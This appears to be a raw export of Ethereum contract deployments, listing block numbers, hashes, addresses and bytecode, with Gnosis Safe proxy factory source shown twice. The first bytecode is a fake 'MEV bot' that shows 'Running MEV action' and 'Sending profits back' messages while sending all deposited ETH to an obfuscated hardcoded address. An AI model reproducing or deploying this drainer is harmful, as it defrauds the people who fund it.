608060405234801561001057600080fd5b50610b91806100206000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610b246038913960400191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610af16033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b61056c565b905090565b600061041e610419610423565b61056c565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107c5565b6107d1565b6108d7565b90506000650b64321b7bce90506000630ecc41539050600061aa949050600061049b610a32565b905060006104a7610a3e565b905060606104bd876104b8886107d1565b6108d7565b905060606104db6104cd876107d1565b6104d6876107d1565b6108d7565b905060606104e8856107d1565b905060606104f5856107d1565b9050606061051561050686866108d7565b61051085856108d7565b6108d7565b905060606105586040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250836108d7565b9050809c5050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107b8576101008402935084818151811061059e57fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105c057fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610611575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610621576057830392506106bb565b60418373ffffffffffffffffffffffffffffffffffffffff161015801561065f575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1561066f576037830392506106ba565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106ad575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106b9576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156106f9575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610709576057820391506107a3565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610747575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610757576037820391506107a2565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610795575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107a1576030820391505b5b5b81601084020184019350600281019050610582565b5082945050505050919050565b6000635ae17726905090565b6060600080905060008390505b60008114610800578180600101925050601081816107f857fe5b0490506107de565b60608267ffffffffffffffff8111801561081957600080fd5b506040519080825280601f01601f19166020018201604052801561084c5781602001600182028036833780820191505090505b50905060008090505b838110156108cb576010868161086757fe5b06925061087383610a47565b826001838703038151811061088457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108bd57fe5b049550806001019050610855565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff811180156108ff57600080fd5b506040519080825280601f01601f1916602001820160405280156109325781602001600182028036833780820191505090505b5090506060819050600080600091505b85518210156109b05785828151811061095757fe5b602001015160f81c60f81b83828060010193508151811061097457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610942565b600091505b8451821015610a23578482815181106109ca57fe5b602001015160f81c60f81b8382806001019350815181106109e757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506109b5565b82965050505050505092915050565b60006313607a75905090565b600060d4905090565b60008160ff16600011158015610a61575060098260ff1611155b15610a9657817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610aeb565b8160ff16600a11158015610aae5750600f8260ff1611155b15610ae657600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610aeb565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220650bac9eb6310035736056ac90fa2e7548d23b14c24ca8a3e7fbb4098a08263d64736f6c63430006060033
|
6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526038815260200180610b246038913960400191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610af16033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b61056c565b905090565b600061041e610419610423565b61056c565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107c5565b6107d1565b6108d7565b90506000650b64321b7bce90506000630ecc41539050600061aa949050600061049b610a32565b905060006104a7610a3e565b905060606104bd876104b8886107d1565b6108d7565b905060606104db6104cd876107d1565b6104d6876107d1565b6108d7565b905060606104e8856107d1565b905060606104f5856107d1565b9050606061051561050686866108d7565b61051085856108d7565b6108d7565b905060606105586040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250836108d7565b9050809c5050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107b8576101008402935084818151811061059e57fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105c057fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610611575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610621576057830392506106bb565b60418373ffffffffffffffffffffffffffffffffffffffff161015801561065f575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1561066f576037830392506106ba565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106ad575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106b9576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156106f9575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610709576057820391506107a3565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610747575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610757576037820391506107a2565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610795575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107a1576030820391505b5b5b81601084020184019350600281019050610582565b5082945050505050919050565b6000635ae17726905090565b6060600080905060008390505b60008114610800578180600101925050601081816107f857fe5b0490506107de565b60608267ffffffffffffffff8111801561081957600080fd5b506040519080825280601f01601f19166020018201604052801561084c5781602001600182028036833780820191505090505b50905060008090505b838110156108cb576010868161086757fe5b06925061087383610a47565b826001838703038151811061088457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108bd57fe5b049550806001019050610855565b50809350505050919050565b60608083905060608390506060815183510167ffffffffffffffff811180156108ff57600080fd5b506040519080825280601f01601f1916602001820160405280156109325781602001600182028036833780820191505090505b5090506060819050600080600091505b85518210156109b05785828151811061095757fe5b602001015160f81c60f81b83828060010193508151811061097457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610942565b600091505b8451821015610a23578482815181106109ca57fe5b602001015160f81c60f81b8382806001019350815181106109e757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506109b5565b82965050505050505092915050565b60006313607a75905090565b600060d4905090565b60008160ff16600011158015610a61575060098260ff1611155b15610a9657817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610aeb565b8160ff16600a11158015610aae5750600f8260ff1611155b15610ae657600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610aeb565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e67204d455620616374696f6e2e20546869732063616e2074616b652061207768696c653b20706c6561736520776169742e2ea2646970667358221220650bac9eb6310035736056ac90fa2e7548d23b14c24ca8a3e7fbb4098a08263d64736f6c63430006060033
| |
1 | 19,497,352 |
570b23aaa154fd7653bdb6f0a0b1e82c735828ca768f517487293b89a01dbb16
|
85a461e752d7c30d07905254f7642ede9487543f9538836bb063886390bac6a4
|
000099b4a4d3ceb370d3a8a6235d24e07a8c0000
|
ee2a0343e825b2e5981851299787a679ce08216d
|
c98c2370201908499044d8dfc17aa5d91001ac5b
|
6080604052348015600f57600080fd5b50604051610211380380610211833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b61017b806100966000396000f3fe60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c634300081900330000000000000000000000008906668094934bbfd0f787010fac65d8438019f5
|
60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033
| |
1 | 19,497,353 |
6fb093e7657f4ec1cc2c7adb727f7bf59efe0c21cff6275c3a618925eeb881ff
|
c060abdb2d178b60ac722eca96878308c7bdbba1fb7fcb3425215858a5538bdf
|
1095195f48e229c69b5b526252f965dae895889c
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
155298a6d153be720c13075f0cb03046bbb2b613
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,353 |
6fb093e7657f4ec1cc2c7adb727f7bf59efe0c21cff6275c3a618925eeb881ff
|
84ad97bf917acd04d8d086a399e67e29571954b37eef71ea19b3ac1b50fe2979
|
5407557005b3793d350ca30a1bcad2713223a069
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
9b2fd845792dfe6e816300a5a87dbc6ef244e491
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,354 |
d5031934bc2fe01ec9e8080e97124420ee79983aeb5dc45622d1b606c960eed1
|
ed2ba84a0acc3a47a47d32de8891d1fba30754cb6b3b635ff5a50c12da00a0b4
|
34e667710c5f5fbf366023fa1664bfc71e4bb2ae
|
000000006551c19487814612e58fe06813775758
|
9584cca1cf16b458fd7ee574c036156f155607b0
|
3d60ad80600a3d3981f3363d3d373d3d3d363d7355266d75d1a14e4572138116af39863ed6596e7f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a6cd272874ee7c872eb66801eff62784c0b132850000000000000000000000000000000000000000000000000000000000000ca9
|
363d3d373d3d3d363d7355266d75d1a14e4572138116af39863ed6596e7f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a6cd272874ee7c872eb66801eff62784c0b132850000000000000000000000000000000000000000000000000000000000000ca9
| |
1 | 19,497,357 |
f175cfea6c2d3188f7368900efeec2ebf776aa4ec0e1fd0655d49bb30988d264
|
9bb1332d00eddea1c6fd9f1230fe61aadafcf4d2b483b5d20a4aabc8130b1cb0
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
6b313290762d52c1f6578a431b490c3fea9e7211
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,358 |
ec0b3b02ddec7f4c7e4da88571294b70bf3ea89afd6c9e0b8fa4b1c9e9b12630
|
c4241135704af314fdfba1dc66cc5ce9877f7ee06dc03c90b1c84e5ac27c8952
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
ab1d213bfb9897c745a568acb1c2dfc99f6e02c0
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
